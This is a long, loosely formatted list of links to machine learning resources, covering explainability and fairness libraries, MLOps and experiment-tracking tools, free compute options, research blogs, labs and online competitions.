https://github.com/SeldonIO/alibi https://github.com/salesforce/OmniXAI https://github.com/SeldonIO/alibi Awesome-explainable-AI https://ex.pegg.io/ tf-explain https://github.com/sicara/tf-explain imodels https://github.com/csinva/imodels lime(explain black box models)- https://lime-ml.readthedocs.io/en/latest/ https://towardsdatascience.com/interpreting-image-classification-model-with-lime-1e7064a2f2e5 SHAP https://medium.com/towards-artificial-intelligence/explain-your-machine-learning-predictions-with-kernel-shap-kernel-explainer-fed56b9250b8 SHAP and Kernel SHAP,TreeSHAP,shparkley,Shparkley,Deep SHAP,TimeSHAP,PySpark-SHAP,GPUTreeSHAP,FastTreeSHAP: Accelerating SHAP value computation for trees https://github.com/linkedin/fasttreeshap https://github.com/slundberg/shap https://www.kdnuggets.com/2020/01/explaining-black-box-models-ensemble-deep-learning-lime-shap.html https://analyticsindiamag.com/hands-on-guide-to-interpret-machine-learning-with-shap/ fastshap https://github.com/bgreenwell/fastshap xplique https://github.com/deel-ai/xplique?utm_source=pocket_mylist Shapash makes Machine Learning models transparent and understandable by everyone https://github.com/MAIF/shapash https://www.kdnuggets.com/2021/04/shapash-machine-learning-models-understandable.html Captum is a model interpretability and understanding library for PyTorch https://github.com/pytorch/captum Explainable AI https://ex.pegg.io/ Explainable AI dashboards https://github.com/oegedijk/explainerdashboard https://www.youtube.com/watch?v=ZgypAMRcmw8 interpret https://github.com/interpretml/interpret mlxtend's http://rasbt.github.io/mlxtend/ imodels Interpretable ML package https://github.com/csinva/imodels Quantus eXplainable AI toolkit https://github.com/understandable-machine-intelligence-lab/quantus DiCE Generate Diverse Counterfactual Explanations for any machine learning model. https://github.com/interpretml/DiCE tcav https://github.com/tensorflow/tcav yellowbrick https://www.scikit-yb.org/en/latest/quickstart.html Language Interpretability Tool https://github.com/pair-code/lit https://ai.googleblog.com/2020/11/the-language-interpretability-tool-lit.html Transformers Interpret https://towardsdatascience.com/introducing-transformers-interpret-explainable-ai-for-transformers-890a403a9470 https://github.com/cdpierse/transformers-interpret treeinterpreter https://github.com/andosa/treeinterpreter Adversarial Explainable AI https://github.com/hbaniecki/adversarial-explainable-ai https://medium.com/responsibleml/adversarial-attacks-on-explainable-ai-f65d41e83c5f Captum Model Interpretability for PyTorch https://captum.ai/ https://github.com/pytorch/captum ecco https://github.com/jalammar/ecco https://jalammar.github.io/explaining-transformers/ https://www.eccox.io/ dalex https://pypi.org/project/dalex/ https://blog.learningdollars.com/2021/01/02/ai-in-medical-diagnosis/ https://www.kdnuggets.com/2020/11/dalex-explain-tensorflow-model.html google AI Explanations for AI Platform https://cloud.google.com/ai-platform/prediction/docs/ai-explanations/overview?utm_source=youtube&utm_medium=Unpaidsocial&utm_campaign=guo-20200423-Intro-Aiexp eli5 https://eli5.readthedocs.io/en/latest/ Integrated-Gradients https://github.com/ankurtaly/Integrated-Gradients xplique https://github.com/deel-ai/xplique/ TabNet: Attentive Interpretable Tabular Learning https://github.com/dreamquark-ai/tabnet skater https://oracle.github.io/Skater/ lucid https://github.com/tensorflow/lucid/ https://www.kdnuggets.com/2020/04/openai-open-sources-microscope-lucid-library-neural-networks.html what if tool https://pair-code.github.io/what-if-tool/ https://pair-code.github.io/what-if-tool/demos/uci.html themis https://themis-ml.readthedocs.io/en/latest/ DeepLIFT https://github.com/kundajelab/deeplift Arena https://medium.com/responsibleml/python-has-now-the-new-way-of-exploring-xai-explanations-4248846426cf tabnet https://cloud.google.com/blog/products/ai-machine-learning/ml-model-tabnet-is-easy-to-use-on-cloud-ai-platform explainerdashboard https://towardsdatascience.com/the-quickest-way-to-build-dashboards-for-machine-learning-models-ec769825070d Responsible AI-https://www.tensorflow.org/resources/responsible-ai fairlearn https://github.com/fairlearn/fairlearn fairml https://github.com/adebayoj/fairml https://www.datasciencecentral.com/profiles/blogs/fairml-auditing-black-box-predictive-models fair https://medium.com/responsibleml/how-to-easily-check-if-your-ml-model-is-fair-2c173419ae4c cleverhans https://github.com/cleverhans-lab/cleverhans Google Facets https://pair-code.github.io/facets/ Google’s Model Card Toolkit Opening the AI Black Box -https://zetane.com/gallery Rulex Explainable AI https://www.rulex.ai/rulex-explainable-ai-xai/ AI Explainability 360 Toolkit from IBM Research https://aix360.mybluemix.net/ https://analyticsindiamag.com/guide-to-ai-explainability-360-an-open-source-toolkit-by-ibm/ onnx https://github.com/onnx/onnx torch-dreams https://github.com/Mayukhdeb/torch-dreams https://github.com/jphall663/awesome-machine-learning-interpretability https://analyticsindiamag.com/8-explainable-ai-frameworks-driving-a-new-paradigm-for-transparency-in-ai/ https://christophm.github.io/interpretable-ml-book/ https://github.com/christophM/interpretable-ml-book https://www.kdnuggets.com/2018/12/machine-learning-explainability-interpretability-ai.html https://www.kdnuggets.com/2019/09/python-libraries-interpretable-machine-learning.html https://www.kdnuggets.com/2019/08/open-black-boxes-explainable-machine-learning.html Fairness https://analyticsindiamag.com/building-a-responsible-ai-eco-system/ How to easily check if your Machine Learning model is fair (dalex) https://www.kdnuggets.com/2020/12/machine-learning-model-fair.html TensorFlow Federated,TensorFlow Model Remediation,TensorFlow Privacy,LinkedIn Fairness Toolkit,Fairlearn,AI Fairness 360,Responsible AI Toolbox,XAI,scikit-fairness,Fairlead,Algofairness,Aequitas,CERTIFAI,ML-fairness-gym,Algofairness,FairSight,GD-IQ,scikit-fairness,Mitigating Gender Bias In Captioning System,Model Card Toolkit,AI Fairness 360, AI Explainability 360, Adversarial Robustness 360, Uncertainty Quantification 360, AI Privacy 360, Causal Inference 360, and AI FactSheets 360,Deon,Responsible AI Toolbox,DALEX,TensorFlow Data Validation,XAI,Fawkes,AdverTorch,solasai,Fawkes,Gluru,AdverTorch,Conversica,Quill AI,Fairness 360,Fairlead, TextAttack,Themis-ML,Debiaswe,fairness-in-ml,bias-correction,BlackBoxAuditing,fairness-indicators,Awesome-Fairness-in-AI https://analyticsindiamag.com/guide-to-ai-fairness-360-an-open-source-toolkit-for-detection-and-mitigation-of-bias-in-ml-models/ 107.deep-learning-drizzle -https://deep-learning-drizzle.github.io/ 108.Machine Learning University - https://aws.amazon.com/machine-learning/mlu/ 109.Continuous Machine Learning (CML),OpenMLOps,Metaflow,Kubeflow,Data Version Control (DVC),Kedro mlflow https://mlflow.org/ An open source platform for the machine learning lifecycle Layer https://docs.app.layer.ai/docs/ https://www.kdnuggets.com/2021/01/5-tools-effortless-data-science.html https://neptune.ai/ https://azure.microsoft.com/en-us/services/machine-learning/ https://github.com/VertaAI/modeldb 110.Data Preparation / ETL https://airflow.apache.org/ https://intake.readthedocs.io/en/latest/ 111.fairlearn https://github.com/fairlearn/fairlearn/blob/master/README.md Evaluating fairness of AI/ML models and training data and for mitigating bias in models determined to be unfair. AI Fairness 360 evaluating fairness of AI/ML models and training data and mitigating bias in current models https://aif360.mybluemix.net/ An ethics checklist for data scientists https://deon.drivendata.org/ 112.https://analyticsindiamag.com/top-6-ai-powered-drug-discovery-tools-in-2021/ MONAI Framework For Medical Imaging Research https://analyticsindiamag.com/monai-datatsets-managers/ torchio https://github.com/fepegar/torchio https://analyticsindiamag.com/torchio-3d-medical-imaging/ MolBert: Molecular Representation learning with AI medicalAI https://github.com/aibharata/medicalAI Biopython is a set of freely available tools https://github.com/biopython/biopython DeepIPW https://github.com/ruoqi-liu/DeepIPW 113.OpenVINO https://opencv.org/openvino-model-optimization/ https://opencv.org/how-to-speed-up-deep-learning-inference-using-openvino-toolkit-2/ 114.https://neptune.ai/blog/machine-learning-model-management https://analyticsindiamag.com/top-mlops-tools-github-repos/ https://neu.ro/2021-mlops-platforms-vendor-analysis-report/ Best Workflow and Pipeline Orchestration Tools https://neptune.ai/blog/best-workflow-and-pipeline-orchestration-tools?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-best-workflow-and-pipeline-orchestration-tools MLflow vs Kubeflow vs Neptune https://neptune.ai/blog/mlflow-vs-kubeflow-vs-neptune-differences?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-mlflow-vs-kubeflow-vs-neptune-differences 15 MLOps.toys https://mlops.toys/ AIOps,Data version control DVC,MLFlow,Docker foundation,Kubernetes Foundation,Tensorflow Extend (TFX),Kubeflow,AWS AIOps,Azure AIOps,MLflow and TensorBoard ,Weights & Biases, Neptune AI, Comet,aim Data verification:Scale Nucleus,great_expectation,Soda Data Observability Metadata management:Neptune.ai,SiaSearch,Tensorflow's ML MetaData Data management:Neptune,DVC,RoboFlow,Dataiku,Apache Airflow, Apache NiFi, Apache Kafka Feature Stores : Amazon SageMaker Feature Store,Databricks,Hopsworks.ai,Vertex AI,FeatureForm,FeastTecton,butterfree,ByteHub Data Quality:whylogs,eurybia Detecting data drift and model drift:eurybia Experiment tracking :Kedro,modeldb,mlflow,DVC,weight and biases,Neptune,clearly,tensorboard,determined,polyaxon,mlrun,Comet,Sacred,TensorBoard,DagsHub,Guild AI,ClearML,Valohai,Pachyderm,Verta.ai,Kubeflow,SageMaker Studio,sacred Monitoring: Prometheus, Grafana, ELK Stack Data versioning:Dolt,DVC,gitlfs,pachyderm, Git LFS,lakefs,DVC,weight and biases,Neptune,Comet,Delta Lake Data Governance: Collibra, Alation, Informatica Data Quality: Trifacta, Talend, Informatica Code versioning: Gitlab,github,SVN Model Versioning :Neptune,ModelDB,DVC,MLFlow,Pachyderm,Polyaxon Pipeline orchestration:Kale,Apche airflow,Argo,workflows,Luigi,kubeflow,kedro,nextflow,dragster,Apache,bean,zenml,flute,prefect,ray,DVC,polyaxon,clearml,mlrun,pachyderm,Metaflow,Couler,Valohai,Dagster.io Runtime engine:Ray,nuclio,dask,horovod,Apache,spark Data orchestration prefect,kale,mlru,dagster,kedro,airflow Artifact tracking:Kubeflow,mlflow,weight and biases,Neptune,polyaxon,clearml,mlrun,pachyderm Model registry:Modeldb,mlflow,determined,weight and biases,Neptune,clearml,mlrun, Vision AI,DINO,Amazon Rekognition Model serving:Seldon,core,bentoml,tensorflow serving,kserve,fastapi,torchserve,ray,mlflow,clearml,mlrun,pymlpipe,TorchServe,TensorFlow Serving,Kubeflow,Cortex,Seldon.ai,ForestFlow,bentoml Model monitoring:Evidently,WhyLabs,grafana,alibi,detect,modeldb,clearml,mlrun,prometheus,pymlpipe,NannyML,Aporia,eurybia,Arize,Fiddler,Amazon SageMaker Model Monitor,Prometheus,Qualdo,Neptune,Grafana + Prometheus ,Qualdo,Seldon Core,Censius Model Performance Tracking: TensorBoard, MLflow, Comet.ml Continuous Integration: Jenkins, Travis CI, CircleCI Continuous Deployment: Jenkins, Travis CI, CircleCI Containerization: Docker, Kubernetes Configuration Management: Ansible, Puppet, Chef data validation:Pydantic,eurybia model testing: Deepchecks,Neptune,Mona ,Grafana + Prometheus Model Security: Seldon, OpenVino, TensorFlow Privacy Continuous Integration and Continuous Deployment (CI/CD) Tools for Machine Learning : CML ,GitHub Actions,GitLab for CI/CD,Jenkins,TeamCity,Circle CI,Travis CI, aim https://github.com/aimhubio/aim Metaflow,MLReef,MLRun,ZenML,MLflow,Seldon,Bodywork,Pachyderm,DVC, or Data Version Control MLOps https://analyticsindiamag.com/8-projects-to-kickstart-your-mlops-journey-in-2021/ Open MLOps https://github.com/datarevenue-berlin/OpenMLOps Best Tools for Tracking Machine Learning Experiments https://neptune.ai/blog/best-ml-experiment-tracking-tools mlops-https://github.com/visenger/awesome-mlops mlflow https://towardsdatascience.com/get-started-with-mlops-fd7062cab018 GuildAI https://guild.ai/ https://github.com/guildai/guildai MLOPS https://www.analyticsinsight.net/top-mlops-based-tools-for-enabling-effective-machine-learning-lifecycle/ https://neptune.ai/blog/best-mlops-tools ML-Model-CI https://github.com/cap-ntu/ML-Model-CI Easy MLOps with PyCaret + MLflow https://www.kdnuggets.com/2021/05/easy-mlops-pycaret-mlflow.html https://www.kdnuggets.com/2021/03/overview-mlops.html https://medium.com/prosus-ai-tech-blog/towards-mlops-technical-capabilities-of-a-machine-learning-platform-61f504e3e281 omegaml https://github.com/omegaml/omegaml https://neptune.ai/blog/8-best-data-science-and-machine-learning-platforms-for-mlops?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-8-best-data-science-and-machine-learning-platforms-for-mlops https://neptune.ai/blog/ml-model-monitoring-best-tools?utm_source=email&utm_medium=newsletter&utm_campaign=blog-march&utm_content=ml-model-monitoring-best-tools https://neptune.ai/blog/end-to-end-mlops-platforms?utm_source=email&utm_medium=newsletter&utm_campaign=blog-march&utm_content=end-to-end-mlops-platforms https://neptune.ai/blog/mlops-at-greensteam-shipping-machine-learning-case-study?utm_source=email&utm_medium=newsletter&utm_campaign=blog-march&utm_content=mlops-at-greensteam-shipping-machine-learning-case-study https://neptune.ai/blog/mlops-10-best-practices?utm_source=email&utm_medium=newsletter&utm_campaign=blog-march&utm_content=mlops-10-best-practices https://neptune.ai/blog/machine-learning-model-management?utm_source=email&utm_medium=newsletter&utm_campaign=blog-march&utm_content=machine-learning-model-management https://mlops.githubapp.com/ https://about.mlreef.com/blog/global-mlops-and-ml-tools-landscape https://github.com/paiml/practical-mlops-book https://olympus.greatlearning.in/courses/12956?_gl=1*ljadx1*_ga*NjMxNjUxNjM2LjE2MDYyMDYzNDM.*_ga_TH52C020P8*MTYxMTIyOTQ0MS40Ny4wLjE2MTEyMjk0NDEuNjA. https://docs.microsoft.com/en-us/azure/architecture/example-scenario/mlops/mlops-technical-paper https://neptune.ai/blog/end-to-end-mlops-platforms https://github.com/kelvins/awesome-mlops#hyperparameter-tuning ClearML https://analyticsindiamag.com/guide-to-clearml-zero-integration-mlops-solution/ https://neptune.ai/blog/mlops-what-it-is-why-it-matters-and-how-to-implement-it-from-a-data-scientist-perspective?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-mlops-what-it-is-why-it-matters-and-how-to-implement-it-from-a-data-scientist-perspective https://ml-ops.org/content/mlops-principles Monitoring: Evidently https://evidentlyai.com/ , Seldon Alibi https://github.com/SeldonIO/alibi-detect 115.Code faster https://www.tabnine.com/ 117.https://www.pye.ai/2021/03/19/machine-learning-model-management-what-why-and-how/ https://www.ambiata.com/blog/2020-12-07-mlops-tools/ Pachyderm Kubeflow MLflow Metaflow ZenML Seldon Bodywork MLReef MLRun DVC katana-skipper Weights & Biases Valohai Polyaxon Neptune.ai CometML Algorithmia clearml, airflow, kedro, GitHub Actions Flyte Valohai Seldon Iguazio Datarobot Dataiku cnvrg.io ClearML AWS Sagemaker wandb evidently BentoML Unified Model Serving Framework https://github.com/bentoml/BentoML mlflow https://mlflow.org/docs/latest/index.html https://github.com/amesar/mlflow-examples MLFlow by pycaret https://pycaret.org/mlflow/?utm_medium=social&utm_source=linkedin&utm_campaign=postfity&utm_content=postfity2c1c2 labml https://ramith.fyi/tracking-your-ml-experiments-without-sending-data-to-the-cloud/ MLOps https://github.com/microsoft/MLOps https://mlops.githubapp.com/ https://huyenchip.com/2020/12/30/mlops-v2.html https://github.com/paiml/practical-mlops-book https://analyticsindiamag.com/top-10-tools-to-kickstart-your-mlops-journey-in-2021 mlops platform SageMaker on Amazon,Data Lab,Domino,H2O MLOps,Cloudera,Data Platform,Kubeflow,MLFlow,Metaflow,Flyte,ZenML,MLRun,Algorithmia,Dataiku,DataRobot,Pachyderm,Databricks,Lakehouse,Neptune.ai 7 Best Resources To Learn MLOps In 2021 https://analyticsindiamag.com/7-best-resources-to-learn-mlops-in-2021/ DevOps https://github.com/collections/devops-tools airflow https://github.com/apache/airflow kubeflow https://github.com/kubeflow/kubeflow kubernetes https://github.com/kubernetes/kubernetes Metaflow https://metaflow.org/ https://github.com/Netflix/metaflow pipeline https://scikit-learn.org/stable/modules/generated/sklearn.pipeline.Pipeline.html Tensorflow Extended https://www.tensorflow.org/tfx Tensorflow Transform https://www.tensorflow.org/tfx/transform/get_started https://aniruddha-choudhury49.medium.com/mlops-kubeflow-with-tensorflow-tfx-pipelines-seamlessly-and-at-scale-92b432bd39b0 Serving Models https://www.tensorflow.org/tfx/guide/serving Tensorflow Data Validation https://www.tensorflow.org/tfx/data_validation/get_started TensorFlow Model Analysis https://www.tensorflow.org/tfx/model_analysis/get_started Model Validation Toolkit https://finraos.github.io/model-validation-toolkit/ https://github.com/FINRAOS/model-validation-toolkit MLflow Open-source platform for tracking machine learning experiments https://mlflow.org/ https://analyticsindiamag.com/guide-to-mlflow-a-platform-to-manage-machine-learning-lifecycle/ https://www.kdnuggets.com/2021/01/model-experiments-tracking-registration-mlflow-databricks.html ray https://docs.ray.io/en/master/serve/ https://github.com/ray-project/ray https://medium.com/distributed-computing-with-ray/ray-mlflow-taking-distributed-machine-learning-applications-to-production-103f5505cb88 118. Feature Stores https://neptune.ai/blog/feature-stores-components-of-a-data-science-factory-guide?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-feature-stores-components-of-a-data-science-factory-guide Top 10 Leading Machine Learning Feature Stores https://www.pye.ai/2021/05/14/top-10-machine-learning-feature-store-systems/ 118.algorithm to use by problem https://www.datasciencecentral.com/profiles/blogs/which-machine-learning-deep-learning-algorithm-to-use-by-problem 119.Connect the world to your data and fuel your ML. OpenBlender Enrich ML Models with adding new Variables from Any Source to Boost Performance https://www.youtube.com/channel/UCCFN8DDrA6k7eHYLvZGdNVA https://openblender.io/ 120. Google's MuRIL (Multilingual Representations for Indian Languages) https://tfhub.dev/google/MuRIL/1 121.mxnet https://mxnet.apache.org/versions/master/api/python/docs/tutorials/getting-started/crash-course/index.html 122.tools-https://towardsdatascience.com/data-science-tools-f16ecd91c95d 123.Elements of AI free online course https://www.elementsofai.com/ 124.Best_AI_paper_2020 https://github.com/louisfb01/Best_AI_paper_2020 125.roadmap https://github.com/graykode/nlp-roadmap https://www.theinsaneapp.com/2021/03/roadmap-series.html https://www.freecodecamp.org/news/data-science-learning-roadmap/ https://www.kdnuggets.com/2020/12/roadmaps-ai-developer-data-scientist-machine-learning-engineer.html https://mohammedazeem665.medium.com/plan-to-learn-machine-learning-data-science-in-2021-note-these-assets-from-2020-e84389d94097 https://github.com/AMAI-GmbH/AI-Expert-Roadmap https://becominghuman.ai/cheat-sheets-for-ai-neural-networks-machine-learning-deep-learning-big-data-678c51b4b463 data-engineer-roadmap https://github.com/datastacktv/data-engineer-roadmap 126.https://neptune.ai/blog/best-data-science-tools-to-increase-machine-learning-model-understanding?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-best-data-science-tools-to-increase-machine-learning-model-understanding Visualizing the Execution of Python Program http://pythontutor.com/ https://www.youtube.com/watch?v=pCSlWQjfCzA MLPerf Model performance debugging tools https://mlperf.org/ Model debugging tools Manifold https://eng.uber.com/manifold/ Pytest for Data Scientists https://towardsdatascience.com/4-lessor-known-yet-awesome-tips-for-pytest-2117d8a62d9c Icecream https://towardsdatascience.com/stop-using-print-to-debug-in-python-use-icecream-instead-79e17b963fcc Experiment tracking tools WandB https://wandb.ai/site Comet manage and organize machine learning experiments https://www.comet.ml/site/ https://analyticsindiamag.com/how-to-supercharge-your-machine-learning-experiments-with-comet-ml/ neptune https://neptune.ai/ https://analyticsindiamag.com/how-to-manage-ml-experiments-with-neptune-ai/ weights & biases https://wandb.ai/site https://analyticsindiamag.com/hands-on-guide-to-weights-and-biases-wandb-with-python-implementation/ https://docs.wandb.ai/ https://www.kdnuggets.com/2020/07/tour-end-to-end-machine-learning-platforms.html 127.19 Best JupyterLab Extensions for Machine Learning https://neptune.ai/blog/jupyterlab-extensions-for-machine-learning 128.coreml https://developer.apple.com/machine-learning/core-ml/ 129.Protect Your Neural Networks Against Hacking Adversarial Robustness Toolbox (ART) https://analyticsindiamag.com/adversarial-robustness-toolbox-art/ 130.https://www.kdnuggets.com/2021/01/10-underappreciated-python-packages-machine-learning-practitioners.html 131.datascience-fails https://github.com/xLaszlo/datascience-fails 132.Jupyter notebook integration for Microsoft Excel https://github.com/pyxll/pyxll-jupyter https://towardsdatascience.com/python-jupyter-notebooks-in-excel-5ab34fc6439 Voilà turns Jupyter notebooks into standalone web applications https://github.com/voila-dashboards/voila https://github.com/voila-dashboards/voila-gridstack How to Optimize Your Jupyter Notebook https://www.kdnuggets.com/2020/01/optimize-jupyter-notebook.html TabNet: Attentive Interpretable Tabular Learning https://github.com/dreamquark-ai/tabnet 133.rapidly develop data applications with Python https://github.com/dstackai/dstack 134.Google Research: Looking Back at 2020, and Forward to 2021 https://ai.googleblog.com/2021/01/google-research-looking-back-at-2020.html 135.cortex Run inference at scale https://www.cortex.dev/ https://github.com/cortexlabs/cortex 136.https://www.theinsaneapp.com/2020/12/machine-learning-and-data-science-cheat-sheets-pdf.html 137.Federated Learning Systems Flower – A Framework To Build Federated Learning Systems https://github.com/adap/flower https://flower.dev/ 138.https://analyticsindiamag.com/top-ai-powered-writing-assistants-to-create-better-content/ 139.Tensorflow Data Validation - Data Analysis At Scale https://www.youtube.com/watch?v=eGIG_qHgQ08 140.SciKeras https://scikeras.readthedocs.io/en/latest/# 141.debugging Data viewer https://devblogs.microsoft.com/python/python-in-visual-studio-code-january-2021-release/ 142.Machine Learning Lifecycle in 2021 https://towardsdatascience.com/the-machine-learning-lifecycle-in-2021-473717c633bc 143.Introduction To ML.NET – An ML Framework For DOTNET Developers https://analyticsindiamag.com/introduction-to-ml-net-a-machine-learning-framework-for-dotnet-developers/ https://analyticsindiamag.com/step-by-step-guide-for-image-classification-using-ml-net/ 144.https://www.perceptilabs.com/home http://deeplearninggallery.com/ https://www.kdnuggets.com/2019/01/practical-apache-spark-10-minutes.html 145.https://www.kdnuggets.com/2018/09/machine-learning-cheat-sheets.html https://www.kdnuggets.com/2018/09/meverick-lin-data-science-cheat-sheet.html https://www.kdnuggets.com/2018/08/data-visualization-cheatsheet.html https://www.kdnuggets.com/2018/07/sql-cheat-sheet.html https://www.kdnuggets.com/2018/04/python-regular-expressions-cheat-sheet.html https://www.kdnuggets.com/2017/09/essential-data-science-machine-learning-deep-learning-cheat-sheets.html https://www.analyticsvidhya.com/blog/2021/01/5-python-packages-every-data-scientist-must-know/ https://www.kdnuggets.com/2021/01/ultimate-scikit-learn-machine-learning-cheatsheet.html https://www.kdnuggets.com/2020/09/10-things-know-scikit-learn.html 146.Data Pipelines https://www.kdnuggets.com/2018/05/beginners-guide-data-science-pipeline.html https://www.kdnuggets.com/2019/03/data-pipelines-luigi-airflow-everything-need-know.html 147. AI Habitat: A Platform For Embodied AI Research https://analyticsindiamag.com/hands-on-guide-to-ai-habitat-a-platform-for-embodied-ai-research/ 149.onnx https://medium.com/towards-artificial-intelligence/onnx-for-model-interoperability-faster-inference-8709375db9bf 152.Best ML Frameworks & Extensions for Scikit-learn https://neptune.ai/blog/the-best-ml-framework-extensions-for-scikit-learn?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-the-best-ml-framework-extensions-for-scikit-learn 153.Multimodal Neurons, The Most Advanced Neural Networks Discovered By OpenAI https://analyticsindiamag.com/inside-multimodal-neurons-the-most-advanced-neural-networks-discovered-by-openai/ 154.TensorGram https://github.com/ksdkamesh99/TensorGram https://www.youtube.com/watch?v=ItDBQB4YFuI knockknock https://towardsdatascience.com/how-to-get-notified-when-your-model-is-done-training-with-knockknock-483a0475f82c labmi Organize machine learning experiments and monitor training progress from mobile https://labml.ai/ WeightWatcher https://github.com/CalculatedContent/WeightWatcher labml Monitor deep learning model training and hardware usage from your mobile phone https://labml.ai/ https://github.com/labmlai/labml ml notify https://github.com/aporia-ai/mlnotify 155.r packages https://upurl.me/vkf3r http://r-bloggers.com/2021/04/15-essential-packages-in-r-for-data-science/ https://www.ubuntupit.com/best-r-machine-learning-packages/ Top 10 Free Resources To Learn R https://analyticsindiamag.com/top-10-free-resources-to-learn-r/ https://bluemind1988.medium.com/explore-r-libraries-for-end-to-end-data-science-projects-b4d0af3a9f5c analyticsvidhya.com/blog/2021/04/top-10-r-packages-for-data-science-you-must-know-in-2021/ 156.Top Julia Libraries for Machine Learning https://www.analyticsvidhya.com/blog/2021/05/top-julia-machine-learning-libraries/ 156.openblender Fuel your ML Engines with Relevant Data to Boost Performance https://openblender.io/#/welcome 157.all Domain-based A.I. Platform for Data Scientists https://www.cluzters.ai/ 158.2D images to 3D https://analyticsindiamag.com/python-guide-to-neural-body-converting-2d-images-to-3d/ Open3D: An Open Source Modern Library For 3D Data Processing https://github.com/intel-isl/Open3D 160.https://gallery.allennlp.org/ https://prior.allenai.org/projects/gpv 161.NVIDIA Unveils 50+ New, Updated AI Tools and Trainings for Developers https://www.hpcwire.com/off-the-wire/nvidia-unveils-50-new-updated-ai-tools-and-trainings-for-developers/ 162.Best Workflow and Pipeline Orchestration Tools https://neptune.ai/blog/best-workflow-and-pipeline-orchestration-tools?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-best-workflow-and-pipeline-orchestration-tools 164.notes Data Science & Machine Learning https://chrisalbon.com/ 165.black uncompromising Python code formatter https://github.com/psf/black 166.Feature stores https://www.kdnuggets.com/2021/05/feature-stores-how-avoid-feeling-every-day-is-groundhog-day.html https://neptune.ai/blog/feature-stores-components-of-a-data-science-factory-guide?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-feature-stores-components-of-a-data-science-factory-guide 167.Code and Notebook Versioning for ML Teams https://neptune.ai/blog/code-and-notebook-versioning-for-ml-teams-guide?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-code-and-notebook-versioning-for-ml-teams-guide 10 tools that can serve as a great alternative to the different parts of ClearML https://neptune.ai/blog/clear-ml-alternatives?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-clear-ml-alternatives 168.3 Tools to Track and Visualize the Execution of your Python Code https://towardsdatascience.com/3-tools-to-track-and-visualize-the-execution-of-your-python-code-666a153e435e ***Follow leaders in the field to update yourself in the field*** 1.Linkedin 2.Twitter ***CPU/GPU/TPU*** 1.Google cloab (FREE) Jupyter Lab for Python, R, Swift from Google Colab with ColabCode https://www.youtube.com/watch?v=Q35WIqZoUF4 https://www.analyticsvidhya.com/blog/2021/01/avid-user-of-google-colab-here-are-some-alternatives-of-google-colab-that-you-should-know-about/?utm_source=linkedin&utm_medium=social&utm_campaign=old-blog&utm_content=B&custom=FBI156 https://towardsdatascience.com/use-colab-more-efficiently-with-these-hacks-fc89ef1162d8 https://www.analyticsvidhya.com/blog/2021/05/10-colab-tips-and-hacks-for-efficient-use-of-it/ ColabCode This is an amazing extension to the already available resource, Google Colab https://github.com/abhi1thakur/colabcode GitHub notebooks with Google Colab https://www.youtube.com/watch?v=LmIylxNmA-A&feature=youtu.be colab_everything Python library to run streamlit, flask, fastapi, etc on google colab https://github.com/Ankur-singh/colab_everything/ 2.Kaggle kernel(read terms and conditions before use) (FREE) 3.Paperspace Gradient(read terms and conditions before use) 4.knime - https://www.knime.com/(read terms and conditions before use) 5.RapidMiner (read terms and conditions before use) https://github.com/zszazi/Deep-learning-in-cloud 6.saturncloud https://saturncloud.io/ Intel Jupyter Lab,Amazon Sagemaker,Binder,DeepNote,Hex,DataBricks Notebook,Jetbrains Datalore,DataCamp Workspace,Notablejournal,Notable,Observable,CoCalc,Replit,Binder,IBM DataPlatform Notebooks,CodeSandbox,StackBlitz ***So what next ?*** participate online competition and do project and apply to intership ,job,solving real world problems, etc... applications of data science in many industry 1.E-commerce- Identifying consumers,Recommending Products,Analyzing Reviews 2.Manufacturing- Predicting potential problems,Monitoring systems,Automating manufacturing units, Maintenance Scheduling,Anomaly Detection 3.Banking- Fraud detection,Credit risk modeling,Customer lifetime value 4.Healthcare- Medical image analysis, Drug discovery,Bioinformatics,Virtual Assistants,image segmentation 5.Transport- Self-driving cars,Enhanced driving experience,Car monitoring system,Enhancing the safety of passengers 6.Finance- Customer segmentation,Strategic decision making,Algorithmic trading,Risk analytics 7.Marketing (Added from comments Credits: Jawad Ali)- LTV predictions,Predictive analytics for customer behavior,Ad targeting and many more fields - https://www.topbots.com/enterprise-ai-companies-2020/ , https://venturebeat.com/2020/10/21/the-2020-data-and-ai-landscape/ ***Research blogs*** https://www.theinsaneapp.com/2021/04/top-machine-learning-blogs-to-follow-in-2021.html Explainpaper https://www.explainpaper.com/ https://reconshell.com/top-ai-and-machine-learning-blogs-curated-for-ai-enthusiasts/ 1.https://ai.facebook.com/ https://ai.facebook.com/blog/ 2.https://ai.googleblog.com/ 3.https://deepmind.com/blog https://deepai.org/definitions 4.https://openai.com/blog/ 5.https://www.malongtech.com/en/research.html 6.https://blogs.nvidia.com/blog/tag/artificial-intelligence/ https://blogs.nvidia.com/ https://ai.googleblog.com/2021/01/google-research-looking-back-at-2020.html?m=1 7.https://blog.tensorflow.org/ 8.https://pytorch.org/blog/ 9.https://distill.pub/ kdnuggets.com https://www.kdnuggets.com/2020/01/top-10-ai-ml-articles-to-know.html ***RESEARCH LABS IN THE WORLD*** https://ai.facebook.com/ https://ai.googleblog.com/ https://research.google/ https://ai.google/research/ 1.The Alan Turing Institute:https://www.turing.ac.uk/ 2.J.P. Morgan AI Research Lab:https://www.jpmorgan.com/insights/tec... 3.Oxford ML Research Group:http://www.robots.ox.ac.uk/~parg/proj... 4.Microsoft Research Lab- AI:https://www.microsoft.com/en-us/resea... 5.Berkeley AI Research:https://bair.berkeley.edu/ 6.LIVIA:https://en.etsmtl.ca/Unites-de-recher... 7.MIT Computer Science and Artificial :https://www.csail.mit.edu/ ***online competitions:*** Top 25 Machine Learning Hackathons https://medium.com/analytics-vidhya/top-25-machine-learning-hackathons-its-here-now-for-anyone-to-move-to-data-science-a93deb2a198a 1.Kaggle-https://www.kaggle.com/ kaggle-solutions https://github.com/faridrashidi/kaggle-solutions 2.hackerearth-https://www.hackerearth.com/challenges/ 3.machinehack-https://www.machinehack.com/ 4.analyticsvidhya-https://datahack.analyticsvidhya.com/contest/all/ 5.zindi-https://zindi.africa/competitions 6.crowdai-https://www.crowdai.org/ 7.driven data-https://www.drivendata.org/ 8.dockship-https://dockship.io/Runway AI 